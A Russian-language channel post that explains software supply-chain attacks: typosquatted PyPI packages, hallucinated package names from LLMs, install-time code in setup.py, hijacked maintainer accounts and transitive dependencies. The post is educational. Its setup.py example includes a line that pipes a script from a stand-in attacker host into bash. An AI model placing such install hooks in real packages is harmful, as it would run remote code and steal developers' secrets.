97просмотров
23.0%от подписчиков
13 января 2026 г.
📷 ФотоScore: 107
Последнее время всё чаще натыкаюсь на заголовки вроде «Фальшивое расширение VS Code украло $500 000». И каждый раз возникает ощущение, что это какой-то экзотический взлом. На деле — всё гораздо прозаичнее. Я полез разбираться, как это вообще работает. Как выглядит атака в реальности Разработчик просит нейронку написать код. LLM быстро генерирует решение — почти без ошибок. Но есть нюанс.❓ Модели не проверяют фактическое существование пакетов и легко «галлюцинируют» названия. Именно этим и пользуются злоумышленники. Они создают клоны популярных библиотек с опечаткой в названии. Это называется typosquatting. ⚠️ Пример 1. Опечатка, которая стоит денег (typosquatting) Классика жанра:
pip install reqeusts Вместо requests. Что происходит: ➖пакет существует,
➖установка проходит без ошибок,
➖внутри - код, который: читает ~/.ssh, вытаскивает токены, отправляет данные на внешний сервер и т. д. Такие пакеты живут недолго - часы или дни, пока кто-то не заметит и не снесёт. ⚠️ Пример 2. Установка как точка атаки (setup.py) Распространённое заблуждение:
«Даже если библиотека вредоносная, она что-то сделает только при использовании». На практике атака может выполниться уже при установке.
# setup.py
import os
os.system("curl https://evil.site | bash") # скачать и выполнить скрипт Вы ещё ничего не импортировали. Вы просто сделали pip install. В CI это особенно опасно: ➖есть секреты,
➖есть доступ к инфраструктуре,
➖есть интернет. ⚠️ Пример 3. Компрометация легитимного пакета Самый неприятный сценарий - без опечаток и подозрительных имён. Как это выглядит: ➖у популярного пакета крадут токен публикации,
➖или взламывают аккаунт мейнтейнера,
➖выходит новая версия с «небольшими изменениями». Вы делаете:
pip install -U some-lib И получаете: ➖бекдор,
➖майнер,
➖сбор телеметрии,
➖или тихий data exfiltration. Самое плохое - доверие уже было. Код никто не смотрел, потому что «библиотека же нормальная». ⚠️ Пример 4. Транзитивные зависимости Вы устанавливаете одну библиотеку. Она тянет ещё 5.
Те - ещё 20.
А вредоносный код - в зависимости третьего уровня. В итоге: ➖вы даже не знаете её имени,
➖она не упомянута в README,
➖но она есть в runtime. Для больших проектов это норма, а не исключение. Вывод Современная разработка - это не только код, но и цепочка доверия, которая ломается гораздо проще, чем кажется. И да - паранойя здесь не баг, а защитный механизм. В следующем посте разберу практику: ➖как ставить зависимости безопаснее,
➖что фиксировать,
➖и где осторожность реально окупается. Как вам тема?